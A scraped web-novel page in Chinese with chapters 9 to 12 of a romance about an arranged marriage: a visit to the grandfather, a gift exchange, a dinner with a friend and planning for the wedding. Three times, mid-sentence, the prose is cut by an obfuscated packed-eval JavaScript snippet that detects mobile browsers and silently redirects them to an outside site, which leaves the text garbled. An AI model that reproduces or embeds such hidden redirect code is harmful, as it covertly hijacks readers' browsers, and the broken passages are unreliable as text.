桓柏蘅绅士地拿过他手里的礼物,好让薄淞专心捧着这束花,睨过人低头好几眼瞧花模样,唇角微勾。 “不客气,你喜欢就好。”他转身,微笑着补充,“毕竟这也是我爷爷最喜欢的花,日日琼汁玉液浇灌着,平常碰都不给我碰呢。” “...” - 薄淞拿着花,觉得千斤重。 门开,听见老爷子声音客厅里传来时,还是没忍住,拽住了桓柏蘅衣角,弯腰的人动作微顿,垂下眸子。 “怎么?”桓柏蘅明知故问。 薄淞松手,发现竟拽皱了桓柏蘅衣角,在桓柏蘅同样察觉到,凝视着那片褶皱时觉得几分难堪,声音像是嗓子里挤出来,“这花,可以帮我拿一下吗?” 桓柏蘅没同意也没立刻拒绝,不紧不慢问,“我有什么好处吗?” “...你想要什么?” 薄淞本来就对见老爷子紧张,心里没把握,现在还折了老爷子心爱的花,他都不敢想要是等会老爷子看见,会不会把他轰出去,桓柏蘅说是百年的山茶,那太珍贵了。 他都不知道桓柏蘅送这礼物是回礼还是害他。 “没想好,先欠着。” 手上一轻,花束被桓柏蘅捧走,在佣人堪堪过来之前,低头凑近薄淞耳边,轻声且揶揄,“学长,下次讨好别人前应该先讨好我,可别再不小心弄错了。” “...” 10. 第10章 客厅沙发上,桓老爷子一身中山服端坐着,不怒自威。 薄淞顿感压力,不仅是老爷子叱咤商圈多年的上位者气势,更是桓柏蘅爷爷的身份,生怕不得体让人不喜。 “爷爷。”桓柏蘅喊人。 桓老爷子微一颔首,严肃的神情端了没几秒,在桓柏蘅两步到沙发前,慵慵懒懒坐下且随意一招手中裂开条缝隙。 “学长,坐啊,站着干嘛?” 如此正式严肃的场合被桓柏蘅懒懒散散随意的姿态打破,老爷子眉心跳了下,原本还想忍忍自家不着调的孙子,下秒注意到桓柏蘅手上明晃晃抱着的花。 “你把我花摘了!” 老爷子瞪圆了眼,一下没了大家长的沉稳,震惊且震怒。 桓柏蘅有所准备捂了捂耳朵,薄淞却被吼的心肝都颤了一下。 不知如何收场。 “是是是,您这么大声干嘛,等会把人吓跑了。”桓柏蘅没丁点愧疚,倒还显得不耐,见薄淞站着,索性把人拉过来按下,危险又迷人的花丢到了人怀里,薄淞心跳瞬间骤停。 桓柏蘅火上浇点油,“几朵花而已,学长送我礼物,我总得给点回礼吧,您舍不得?” 这话让薄淞砰砰快跳出来的心脏瞬间坠到深谷里,他没想到桓柏蘅临时反悔不帮忙了,可花确实是给他的。 “...抱歉。”他艰涩道。 捧着花几分无措,想赔偿可又不知如何赔,再者对于老爷子的意义肯定不止金钱,老爷子哪里缺钱。 “无妨。”半晌老爷子才吐出两字,“回礼自然要有的,不过几朵花算不得回礼,柏蘅这事做的不妥当了,肯定是要郑重的回一份礼物。” 瞪一眼罪魁祸首,桓柏蘅笑的乖巧,“没问题,爷爷。” 老爷子咬着牙,后悔起小的时候就应该把桓柏蘅抓起来多揍两下,小时候舍不得,长大了小心眼记仇,他还能不知道为什么桓柏蘅摘他这宝贝花,不就是报复他早上的事,连山茶都给霍霍了,那么大那么高一孩子,心眼比针尖还小,半点没遗传到他的胸襟。 是啊,他胸襟宽广,不和小孩子计较。 这么一想,老爷子觉得还能再忍忍。 爷孙二人各有说服宽慰自己的办法,留下薄淞仍觉愧疚,再次道了声歉,弄得原本还存着好好考核自家孙子选定对象的老爷子动摇,这孩子挺乖巧懂事的,尤其在自家混账孙子的对比下,起码孝顺! 况且这孩子从进门开始就紧张,这会不用说,更慌了。 慌就代表在意,在意那就是重视,重视这次见面,也等于重视这段婚姻,而这些天调查过来,孩子人不错,在圈里风评口碑都是一等一好,性子温和,为人友善,却不是缩头胆小之辈,工作上能力强决策果断,年长几岁阅历丰富也相对沉稳,确实是个很优秀的年轻人。 况且刚才还纵着自家孙子恶劣的小性子... 老爷子越发觉得薄淞不错。 花的事情过去后,三人没在客厅多呆,薄淞来的就是饭点,餐桌上摆满了精美的食物。 三人入座。 老爷子迂回几次后,问出正题。 “结婚的事,和你父母说过了吗,他们同意吗?” 不出意外,以后就是亲家,亲家的态度自然也很重要,毕竟桓柏蘅再气人,也是亲孙子,这点还是得问好。 “说过。”薄淞仍是有些拘谨,认认真真回答问题,“他们都是同意的,也很..” “所以反对你就不和我结婚了?” 剩下的话被耳边幽幽冒出的声音打断,薄淞愣了下,表态,“当然不是,我答应你结婚,不会食言。” 他怕的是桓柏蘅不愿意。 “是吗?那我过门了,叔叔阿姨不会为难我吧?”桓柏蘅支着下巴,“你不然还是和我爷爷先表个态,保证我不会受你父母刁难,还有结婚了以后要怎么对我好,不然爷爷不放心。像什么家务活谁做,每天几点回家,一年旅游几次,纪念日礼物送我什么之类的?” “...” 桓柏蘅话里玩笑意味很重,一听就是拿着人逗呢,薄淞一时间不知道答还是不答才好,还是老爷子解围。 “行了,有你那么多事,不吃饭就下桌。”老爷子头疼。 “爷爷,是我结婚啊。” “...闭嘴。” 薄淞听着爷孙两人互呛,见家长的紧张这一刻才终于卸下不少,老爷子其实没他想的那么威严可怕,也可以是普通的爷爷,只是关心爱护孙子. 当然,他也知道老爷子心里并不抵触他,如果抵触,就不会把这样和善可亲的一面给他看。 他就更想为自己争取。 “桓爷爷。”薄淞喊道,等老爷子慈祥却带着威严的目光落下,连带着桓柏蘅投来的视线一并聚焦,他才接着开口,一字一句,郑重诚恳,“我是真心想和柏蘅结婚的。” “会承担起家庭的责任和义务,也会好好照顾柏蘅,相互扶持,理解信任。不管未来好与坏,只要他愿意...我都会陪着他,相伴一生。”话语顿了顿,轻声而坚定响起,“希望您答应,把他交给我。” - 桓老爷子最担心的点,薄淞给出承诺,他愿意做桓柏蘅停留休憩的港湾,执手相伴。 这已经够了。 “第一次上门,红包还是要给的。” 饭后老爷子拿出准备好的厚厚一叠红包,薄淞拒绝,被强行塞进了手心,便只好收下。 “时间还早,也别急着回去,让柏蘅带你家里转转,婚后也常来,我一个人老人家怪孤单的。”老爷子睨了眼后头的孙子,话说给谁听再明显不过,只是该听的人像是没听进去,桓柏蘅不知道在想些什么。 老爷子无奈地收回视线,赌气地想,没事,以后多一个孙子,孙子一个孝顺就行了。 薄淞说“好”,因为婚后两个字面颊浮上点红。 老爷子有午休习惯,管家扶着上楼,便只剩下薄淞和桓柏蘅两人。从饭桌上他的那番话后,桓柏蘅便不怎么说话,薄淞感觉得到,但他心里早已反复自省那番话里可能有的错误。 说了责任义务,说了互相扶持,说可以相守一生,他没提相爱,没有索要感情。 应该不至于戳中桓柏蘅不高兴的点。 “想出去走走吗?” “啊?” 薄淞没来及反应,桓柏蘅已经转身往楼上去,“那就不去了,外面没什么好看的,去我房间吧,熟悉熟悉。” - 桓柏蘅十八岁前,住的都是老宅的房子,房间里遍布他从小到大的生长痕迹,小学三年级的奖状,初中的奖杯,滑雪,骑马,武术跆拳道资格证书...荣誉多到令人眼花缭乱的程度。 “你刚才的话...”桓柏蘅的声音耳侧响起的突然,打断薄淞的参观,他转过头,面前的人眉梢微抬,没了原先沉默,戏谑神情道,“很像婚礼誓词。” “有吗?”薄淞怔愣过后,为自己解释,“想让你爷爷答应,总得说点好听的。” 这是正常不过的行为,很好的理由。 桓柏蘅能理解,轻笑,“也是。所以婚礼上还会说吗?” “...” “相守一生。”他玩味的强调,“也是说辞?” “不是。"薄淞垂眼,“我们结婚,不就是为了省些麻烦吗?” 所以不是必要的话,就不要离婚了,不离婚和相守一生,可以是一个意思。 “你说话很有技巧,悦耳舒服。”桓柏蘅肯定他,又带着几分似笑非笑评价,“就是你这种说法...像是我们很相爱的意思。 因为相爱,所以在长辈面前承诺,承诺一辈子的事,薄淞那样专注认真地对着他爷爷保证,会对他好,风雨携手,那是他不曾想过的婚姻的意义。毕竟从前结婚对于他而言只是省去麻烦,堵住爷爷的嘴,当然也是为了让爷爷安心,可真和一个人长长久久,他其实是没有实感的。 “口头上的话,不需要放心里。”薄淞尽量周全,“如果你介意的话,婚礼我们也可以不说。” 他原本想不到桓柏蘅在意的理由,可这会忽然觉得,或许桓柏蘅是介意这些“虚伪”“冠冕堂皇”的假话?桓柏蘅不需要这种浮夸的承诺。 哪怕他再真心不过,可他的真心见不得光,尤其在桓柏蘅面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345439|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是假的,才是最好的。 “我没说介意。”桓柏蘅扫过一眼,再给出第二个回答,“随你。” 他发现很多时候,薄淞都理解不到他的意思,或是说总会往相反方向理解,所以对方除了是个合适的结婚对象,安稳踏实,和他没有半点相通。 桓柏蘅顿感无趣,懒得再聊。 “礼物呢?”他摊手要,“不是说给我准备礼物了?” 话不聊,东西得收,毕竟花都送了。 桓柏蘅话题跳跃之快,让薄淞很多时候都跟不太上,对着摊开手在面前的人,犹豫着还是从西装外套里拿出盒子,放上人手心。 “不喜欢也没事,就是瞧着好看,顺便买的。” 说的不是认真挑选,可桓柏蘅不信,薄淞既然说给他准备,就一定是用心的,因为薄淞这个人就是这样,桓柏蘅心里有数,可听不得这么客套的句子。 “那下次用心点。”他说,一点不带客气。 薄淞盯着盒子,点了头,“好。” 盒子做的精巧,不带品牌logo,桓柏蘅一时间也猜不中里面是什么,像是个首饰盒,他索性伸手打开,是一枚水晶胸针。 湖蓝色,颜色很纯,半个巴掌大小。 “为什么送我这个?” 桓柏蘅拿近了些端详,海浪形状,浪尾很细的钻缀着,银色并不明显,以至于他刚才以为通体的蓝,指尖触上,冰冰凉凉的质感。 “年后你应该要进公司了吧,图个寓意而已。” 海浪汹涌不息,威严神秘,它不受拘束,自由随心,可所到之处,总有回音浩荡,势必得众人注目,这代表着薄淞的祝愿。 桓柏蘅把玩着礼物,微微一笑,把胸针放进盒子里。 “忽然觉得我那束花好像确实过于敷衍了。”他提出邀请,“时间还早,去我朋友开的画廊玩一会?他收藏挺多名家画作,你有喜欢的我送你。” 薄淞艺术系的,学艺术的应该还是喜欢这些,桓柏蘅想,就是这地址他得问问,毕竟从开业后他就没去过,实在不感兴趣,一会挑两幅送给薄淞当作回礼,他就回南楹湾的房子去,都省的找借口从爷爷这离开。 桓柏蘅觉得安排正好,打算打电话立刻问地址,却被拒绝。 “抱歉,我一会还有事。” 薄淞表情挺为难,还是说了,“和朋友约好了,不好食言。” 他没想着留宅子里多久,等老爷子午睡醒来后他便打算道别。 桓柏蘅是挺意外,不过倒也没强迫人意思,薄淞这么说,他也答应,“行吧,那你什么时候走?” “约的四点。” 这会将近两点了。 桓柏蘅拿着盒子抛了两下,接住,歪了歪脑袋,“哪个朋友啊,我一起方便吗?” “...” 薄淞的犹豫明显,桓柏蘅笑意收了些,“不方便?” 桓柏蘅跟去的提议不符合薄淞对桓柏蘅一向的认知,对方该是不愿掺和他的朋友圈,可桓柏蘅这么提,往常他肯定是会答应,只是今天约的朋友.. 薄淞想起林序淮对桓柏蘅的抵触。 “我朋友比较内向。” 他一点不想拒绝桓柏蘅,可真没办法,本来就因为之前瞒着结婚的事让林序淮恼火,这要是再爽约或是把桓柏蘅带去,怕是能把人气死。 薄淞认了他就是喜欢桓柏蘅,可也不是真那么重色轻友,他也很在乎朋友。 而桓柏蘅应该只是出于礼貌回礼罢了,和他去画廊或许对桓柏蘅来说,也是浪费时间,不那么愿意的。 薄淞心里明白,也还是有隐隐失落,没注意到桓柏蘅眯了眯眼,目光锐利。 他心里大概有数薄淞是要去见谁,只是对于薄淞口中“内向”二字实在嗤之以鼻,脑中画面再次浮现伞下亲昵一幕。 这是薄淞第一次拒绝他,因为别的人。 “好吧。”笑意不达眼底,桓柏蘅表示遗憾。 他往前两步,随手一抛,礼物盒子磕在柜子上,滚了两圈安静躺在了无人在意的角落,冷淡的嗓音紧接着响起。 他说,“玩得开心。” 11. 第11章 薄淞等老爷子午睡醒后,道别后离开老宅。 成婚的事情定下,两家人也需要安排时间见面,因此薄淞改变了再带桓柏蘅回家见父母的打算,索性安排在那次见面。 桓柏蘅没异义,时间紧,便安排在两天之后,酒店定在环悦,算是婚前两家人会面。 薄淞车子驶离别墅,前往和林序淮赴约的餐厅,包间里林序淮已经到了,见他过来,抬头可以说是瞪了眼过来。 “...没迟到吧。”薄淞再次确认时间,正好准点。 林序淮幽幽眸光盯他,“你以前至少提前十分钟。” “...我请客。”薄淞好脾气,“临时有点事情,还有之前不是故意瞒着你,只是我也不确定能不能成...太突然了。” 难以置信,或者说是被巨大的惊喜砸懵了,林序淮都能想到薄淞该是什么样的那会,肯定很难看。 他恶狠狠抓过餐单,点了四分之三的菜,薄淞并未制止他却先怒,“吃不完我喂狗。” 提到狗,更暴躁了。 薄淞动作顿了下,端起水杯,“好。” 包间陷进沉默,林序淮眉头越皱越紧,薄淞觉得他有点不对劲,犹疑问,“你怎么了?” “..没有。”林序淮眉头蹙紧,闷了口水,“你和桓柏蘅结婚我不爽。” 他这么说,薄淞却知道不是,对于他痴迷不听劝一意孤行喜欢桓柏蘅这件事,林序淮的态度一向是冷嘲热讽话说的能多难听就有多难听,绝不是现在这种发泄的生气行为。 “好吧。”薄淞没反驳,关心道,“你脸色看起来不太好,要注意休息。” 林序淮约他吃饭,肯定少不了盘问,薄淞不习惯撒谎,把见过桓老爷子的事说了,婚事是定下了。 “老爷子为难你了?” 薄淞一愣,“没。” 林序淮睨他一眼,这会倒像是往常一般嘲讽他,“所以是桓柏蘅?” “...不是。” 薄淞一路确实心不在焉,想到离开老宅时桓柏蘅的冷淡,他和桓柏蘅接触实在太少,桓柏蘅多变的心情和心思,让他无从招架。 或许他在对于和桓柏蘅有关的事情上太过敏感,哪怕对方只是一个无心的举动,都能让他胡思乱想。 “你就会在我面前说他好话,我还能打他不成?” 林序淮对于薄淞护着桓柏蘅实在气,他对桓柏蘅原先是没什么看法的,只是薄淞暗恋多年未果,这份难受和无望被他算在了桓柏蘅头上而已。 是不公平,可薄淞是他好友,他看着难受,气薄淞不争气,但骂也只能骂到桓柏蘅头上。 但婚事已经定了。 定下了。 林序淮看向薄淞,还是妥协,“你结婚我会准备好贺礼的,提前祝你新婚快乐。” 他不情愿甚至于咬牙切齿说出口,薄淞心里有些感动。 明明上回还说请帖都不必发的,林序淮嘴硬心软,这么多年,他难受的时候,也只有对方一个可以倾诉,虽然每次都是会被骂一顿,可从来都没有不耐烦。 林序淮说好会准备一份珍贵的贺礼,可旅游带回来的当地特产,林序淮表示不许分享给其他人。 “其他人”用的重音,指的谁再明显不过,薄淞保证绝对不会。 他和桓柏蘅并没有熟悉到分享食物,哪怕他愿意,桓柏蘅也未必有那个时间和他一起。 薄淞把东西放到车后座,其中一个黑色的檀木盒子被他单独取出来。 “谢谢,我特别喜欢。” 林序淮上周旅游去了C市,除了带回来的珍贵黑松茸,还在收藏品店特地给他买了个木质的古董八音盒。 林序淮去任何地方,玩或是工作原因,只要去了都会给薄淞带个礼物,薄淞对于做工精巧的小玩意感兴趣,家里堆着许多林序淮送他的。 “你不就喜欢这些?”林序淮哼了声。 “是,所以,谢谢。” 薄淞道谢,露出微笑。 他总是礼貌而温煦,林序淮和他认识十多年,最要好的朋友,也从未见过薄淞疾言厉色,像是天生就好脾气,也天生就这么沉稳...这点或许不是。 林序淮默默否认,他也见过薄淞躁动狼狈的时期。 大学时候的薄淞不是这样的,青春期的男生总不能事事冷静,尤其第一次沾上情爱的人,薄淞的感情内敛却炙热。他想起大四那年,薄淞用那样生动期待的表情告诉他,想勇敢追求喜欢的人。 他不知道自己当时用怎样的表情鼓励对方,估计不会很好看,只是他没等到薄淞兴致勃勃的“认识”,那天回来的人落魄沮丧,酒后第一次失态,不停反复地执着喊不会有回应的名字。 “序淮。” 过去的人影同眼前的重合。 薄淞摇下车窗,望向黑暗中好友那张精致耀眼的面容,真心道,“被你喜欢的人一定很幸福,这世界上应该没有人会不喜欢你吧?” 林序淮把自己伪装的难以接近,嘴巴毒,实际心肠却很软,对朋友也很好,能被林序淮放在心上的人,是很幸福的。 薄淞之前没有过这样的感慨,可大概是他现在自己觉得很幸福,也希望好友幸福。 林序淮短暂安静片刻,才俯身,他手肘撑在车窗上,眼眸眯起,和薄淞距离拉近,近到他看清薄淞眸中的自己。 “我是不婚主义。”他说。 薄淞被近距离下这双眼睛晃了下,却也习以为常的没有躲开,柔声笑道,“好吧,不过我还是希望你能遇到喜欢的人,有些人遇上,可能你就会转变思想了。” “...遇上了,那也得两情相悦。”林序淮轻声强调,“我不会卑微的求爱,也不会一辈子只喜欢一个人。” 薄淞不是第一次听林序淮这么说,无奈却也知道无法改变对方看法,不过他还是坚持自己的态度,“你得先遇到。” 林序淮盯他几秒,直起身,距离挪开。 “薄淞。”他说,“你是不是很喜欢我这张脸啊?” 这话让薄淞微微一愣,林序淮歪过脑袋,浅色眸子勾出点撩人暧昧,“你好几次说过这种话,很多时候还盯着我特别着迷。” “...” “其实不是的,不是所有人都喜欢我。” 林序淮下秒否定,他眼底闪过一抹异样,转瞬即逝,不待薄淞反应过来,后退一步,又变回不耐骄傲模样。 “所以你喜欢我的脸也没用,就算你长成这样,桓柏蘅该不喜欢你还是不会喜欢你,看脸太肤浅了。” 薄淞有一半心思被说中,不大好意思蹭了蹭鼻尖,“走了,你也少去酒吧,脸色最近看起来不太好。” “知道了。”林序淮后退一步,“走吧。” 薄淞点头,“好,再见。” 车子驶出停车位,后视镜里人影越来越小,落寞停在原地,林序淮直至视野里再也看不见车影,转身离开。 他和薄淞不一样,喜欢一个人没结果的话,他就不要喜欢了。 世界上又不是没别的人了。 林序淮想,世界上有很多人,比薄淞好的也有很多。 他不说出来,还好薄淞神经很迟钝,他们是朋友,友情是可以一辈子的。 - 薄淞没回家,直接去了公司。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345440|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理好工作上的事,也不过八点整,公司里加班的人不多,项目基本到了收尾阶段,下周年会后,也就放假过年。 他也要放假过年,以及...结婚。 心思飘远了,薄淞回神时唇角勾起的笑意止不住,他在无人的办公室里脸热了会,起身合上电脑。 路上薄爸爸打来电话,问的是和桓家见面的事。 “嗯,后天,环悦。”薄淞点了外放,行驶在年关夜晚少有车辆的高架上,“具体的时间我还不知道,桓...柏蘅说他来定,应该是晚上。” 高架两侧大厦霓虹灯光落进车窗,映在薄淞脸上,混着斑斓的彩色,从薄淞耳后爬出的红晕在其间,并不分明。 每次不带姓的喊桓柏蘅,都让他觉得心跳加速浑身过了电流。 他习惯甚至于着迷这种哪怕只是浮于表面的亲昵。 电话里和薄爸爸聊了阵,薄淞才挂断电话,也正好到小区。 小区里白天热闹,夜晚宁静,这个点又是冬天,几乎没什么人出来,他从地下车库直接上楼,进门,开灯,客厅几年如一日的布局。 空荡,安静。 薄淞环顾着整个房子,想过一阵就要搬出去的事,先前桓柏蘅问他想要住在哪个地方,最后他选了天阙湾,离他和桓柏蘅的公司距离适中。 新家要布置很多东西,软装还是得选喜欢的舒服的,其实最好是去家居商场看一看,但目前还是先得着急婚礼的事。 婚礼的日子只剩半个月,他们却还只是堪堪敲定了“结婚”的事。 薄淞其实并不是说一定要办婚礼,只是老爷子表明必须办,因此该准备的也早就准备好,不至于太过慌张匆忙。 婚礼设计师的联系方式...薄淞犹豫了会,点开微信。 还是问一问吧,这么早应该没休息。 而且,今天也不知道是不是他太敏感,总觉得离开时桓柏蘅像是有情绪? 薄淞其实心里想着这事一下午,林序淮看出来只是他对着人撒了谎,确实是他离开老宅时,桓柏蘅表现得过于冷漠。 可他心里再怎么猜,也不会知道桓柏蘅到底怎么想? 他问不了,而两人的关系除非有事,也不会联系,他怕说无关的话打扰了对方,这会有了正事,也就有名正言顺的理由。 薄淞斟酌着发了消息,要名片。 没有回复,足足十分钟,聊天框仍旧安静。这个点,也有可能休息了,薄淞想,桓柏蘅的作息总是不定的,当然也可能是有别的事,和朋友聚会或是手机不在身边? 他安安静静又等了十分钟,在时间跳到整点时屏幕又一次暗下,才从沙发起身,回房间洗漱。 薄淞以为不会再收到桓柏蘅的回复,却在十点半点准备熄灯时,收到消息。 桓柏蘅推来了一张名片。 薄淞盯着那名片,和昵称处从始至终未变化的动态,确定对方只有冷冰冰的名片,没有哪怕官方的只言片语。 心里的空落泛起涩意。 卧房床头灯晕着静谧暖黄空间,四下无声,情绪就容易无限放大,薄淞承认他等了一晚,等到一个没有感情的回复。 其余的话又怎么问出口? 他没有“窥探”桓柏蘅情绪的资格。 薄淞收好手机在床头。 现在这样已经很好。 他不该去奢求回应,和桓柏蘅结婚,本来就只是一件省去麻烦而无需付出感情的互惠互利的“合作”,贪心是他的问题。 所以,薄淞想,要知足,不要越界。 清晰地守住他和桓柏蘅之间的界限,才是守住他们婚姻的最好方式。 12. 第12章 桓柏蘅第二天大早接到电话。 “景渊后天回来,下午两点,老地方云水之涧,咱们一块聚聚。” 郑云松话音里难掩兴奋,说完又改了口,“哦,忘了你要结婚了,不然换个地方,学长介意吗?” “我需要管他介不介意?” 桓柏蘅本来就有起床气,郑云松发疯这么早给他打电话,心里憋着火,昏沉间再听见这么一句,语气就难免冲了,。 郑云松见他火气大,讪讪道,“...不是那意思,先说好,我不是激你,就是怕老爷子念叨你。” “云水之涧”作为荣市老牌的高级会所,环境好隐私性强加上“服务”数一数二,是圈子里人娱乐聚会常去的地。 两人先前也常去,不过倒是和“服务”没多大关系,他们来主要是因为这是许景渊的地盘,这次也就直接定了,确实是没想到桓柏蘅一个要结婚的人,已经不太适合这种地方。 “无所谓。”桓柏蘅不甚在意,被扰了觉总归是睡不着,加上气发出来好上许多,语气缓了些,“他不是说在扬市呆两周,年后回来吗?” “不知道啊,之前是那么说,可能有什么事吧,哎,你都快半年没见他了吧?“郑云松感慨道,“现在你也回国了,分公司那边的事处理的也差不多,等上市也就半年吧,景渊就回荣市,咱们也又能像以前一样常聚了。” 这话说的桓柏蘅心里也是暖了点,三家人知根知底,从小一块长大的情分,比起很多半道朋友,是要重许多的,只是长大后,好像真的聚少离多。 “行。” 桓柏蘅对于许景渊没有亲自给他打电话这事,心里也多半有数,两人联系是在一个多月前,他回国没多久,答应老爷子结婚的事,许景渊电话里调侃了两句。 他当然不至于这么小气记仇,毕竟郑云松也没少说,不也还是活的好好的,所以只能说许景渊这人小心眼,心胸狭窄,记仇到现在。 桓柏蘅给好友下了定义,这才准备下楼用餐。 另一边郑云松挂了电话,吐出口气,难以置信今天居然没被桓柏蘅言语攻击,顺手给许景渊回复“没问题”,那边冷冷酷酷发来一个“1”。 郑云松无奈躺倒,很多时候,他都觉得是不是自己性格过于好,才会成为这两个从小一块长大睚眦必报嘴毒心眼小脾气一点就炸的好友中间的传话筒。 许景渊那是能跟桓柏蘅媲美的恶劣,绝对是承受不了桓柏蘅时不时冷语攻击,不过虽然没桓柏蘅那样老是冷着张脸,主动爱招惹嘴欠的问题,也让他头疼。 不然哪至于这两人常常吵架,他得去当和事佬,还得挨双方白眼,简直可怜到不行。 郑云松心里委屈,忍下辛酸泪,还得祈祷后天两人见面别又闹起来,只好吃力不讨好地再选个好说话的许景渊发消息,主要给人做做思想工作,围绕桓柏蘅有“婚前恐惧症”,多包容多理解。 得到许景渊又一个“哦”。 郑云松木木地合上手机,决定顺其自然。 - 两家人见面的时间定下,薄淞提早从公司离开,去接了父母,前往环悦。 他对环悦不陌生,每年荣市上市公司年终晚宴举办都在环悦的玉兰厅,加上应酬大多数也会选择环悦,来的次数算是多的。 只是这回,心情不同以往。 薄淞视线落在不远处旋转门前立着的那道高挑身影时,心跳不自觉加快。 “那是桓家的孩子吧,长这么大了。” 后座薄爸爸的声音传来。 薄爸爸好多年前见过桓柏蘅一次,那会桓柏蘅大二,男生长得快,几年时间,从少年长成男人,气质样貌变化不小。 “是。”薄淞回答,薄妈妈立马摇下窗户去看,感慨道,“眉眼像妈妈。” 提到桓柏蘅父母,车厢里气氛沉闷了一瞬,当年桓家父母空难去时也不过三十出头,令人惋惜。 当然今天这样的日子,提起这事不合适,薄妈妈很快调整好心情。 车停,一家人下车。 薄淞把钥匙递给前来泊车的侍应生,颔首道过谢后,桓柏蘅已然到跟前。 “叔叔,阿姨。” 桓柏蘅礼貌上前,微笑着同桓家父母打招呼,和长辈笑着寒暄后,目光才投向薄淞,脸上仍旧挂着彬彬有礼如沐春风的笑意。 “走吧,爷爷在等着了。” 他话语间亲昵不少,薄淞一时间有些不适应,点了点头。 桓柏蘅今天穿的很正式,神情也收敛往日里常有的漫不经心,体贴绅士,一路和薄家父母交谈,上了电梯。 “早知道老爷子提早过来,我们就应该早点出门。” 薄爸爸得知老爷子一个多小时前就来了,有些过意不去。 “爷爷在家里闲不住而已,约好的时间五点,叔叔不必放在心上。” 薄爸爸和老爷子差了岁数,算是晚辈,让老爷子等着自然不好,桓柏蘅宽慰道,又看了眼薄淞,“而且学长公司忙,爷爷说过很多次让我跟学长多学习学习。” “...” 桓柏蘅一口一句学长,多少带着暧昧,薄淞脸热,在父母面前,好在很快到了楼层。 薄爸爸薄妈妈出了电梯,薄淞慢半拍动作要跟上时,电梯开始缓缓合上,他正准备伸手挡一挡,视线里先一步出现只白皙修长的手,挡在了电梯处,接收到感应的门向两侧打开。 薄淞微微愣住,抬眼,同桓柏蘅眸光对上,面前的人脸上褪去先前笑意,,收回了手。 “...谢谢。”道谢的话卡了下壳,得到人不冷不淡的一声“嗯”。 他出了电梯,心脏缓缓沉下,前几分钟的喜悦荡然无存。 - 饭桌上,温馨和睦。 婚礼事宜商定到八点,才算散场结束,薄淞送老爷子上车,离开前被喊住。 “结婚日子仓促,现在定制礼服肯定是来不及了,只能店里先选一选,明天柏蘅去接你,不合心意的话你再和爷爷说,爷爷想办法。” 老爷子想起这件事,对薄淞也有几分抱歉,婚礼就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345441|167880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一次,确实委屈薄淞了,主要他也无奈,自家这混小子临了临了才确定对象,他想提早准备都没办法。 桓柏蘅的礼服三个月前就已经托人定制,前几天才堪堪做好送来,高定的至少两月,现在剩半月不到,薄淞只能将就。 虽然他也想过,婚礼可以延期,不必赶得这么急,这事他也提过,桓柏蘅直接拒了,原话是,往后拖麻烦,这次不结往后都不结了。 哪怕知道自家孙子并不上心,对于薄淞...也谈不上喜欢。 老爷子一把年纪看得出来,可桓柏蘅长这么大,就没喜欢过谁,往后他也不知道等不等得到了,再者薄淞是个好孩子,他有生之年能看的桓柏蘅成家立业,薄淞是最好的选择了。 这话他肯定不能跟薄淞说,也只能委屈薄淞。 老爷子心里过意不去,偏偏罪魁祸首丝毫不觉,桓柏蘅原本都闭眼休息了,听这话睁开眼,语气疑惑,“我去干嘛?” “不是你结婚吗?” 试婚纱那都是即将成婚恋人一块的,问出这种问题,老爷子气的头疼,桓柏蘅不以为意,直接拒了。 “不去,我有事。” “什么事比结婚重要,推了,明早准时去接小淞。” 老爷子本就因为这事愧疚,桓柏蘅还火上浇油。 车厢里温度骤降,老爷子正经起来板着脸还是渗人,可桓柏蘅哪里会怵,只是毕竟是亲爷爷,不好怼,烦躁道,“我说了我有事。” 明天约好的给许景渊接风洗尘,下午郑云松还跟他确认了时间,他要是不去指定要被嘲讽的,尤其许景渊那张嘴,他可受不了。 老爷子见他倔刚要发火,薄淞车窗外终于回过神。 “没关系的,我自己去吧。”他把原因归到自己这,“公司也还有些事,约不好时间的,我处理完了过去方便。” 薄淞及时打了圆场,老爷子还没发话,桓柏蘅已经不耐烦,“他说自己能去,您要是实在觉得不合适您陪他呗。” 老爷子深呼吸才没忍住骂人,他真的是把桓柏蘅惯成什么样了,说这种话合适吗? “小淞,你先回去。” 薄淞面露犹豫,却也没有不走的道理和立场,只能点头,临走前担心的看了眼桓柏蘅。 这一眼被老爷子收进眼底,薄淞离开后,老爷子沉声道,“结婚是两个人的事,你既然答应结婚,就上点心,他不也不欠你的,尊重是最起码的教养。” 桓柏蘅极少被爷爷以这种语气批评,可他不觉得错全在他,冷下嗓音。 “您定的时间有问题,我跟别人有约了,爽约是最起码的教养?” “...”老爷子心脏病都要犯了,压住脾气,“那你说什么事?” 什么约会不能往后推一推,孰轻孰重心里就一点没数?” 桓柏蘅没法说,要是说和郑云松许景渊约,那指定老爷子不会同意。 他的沉默也说明一切。 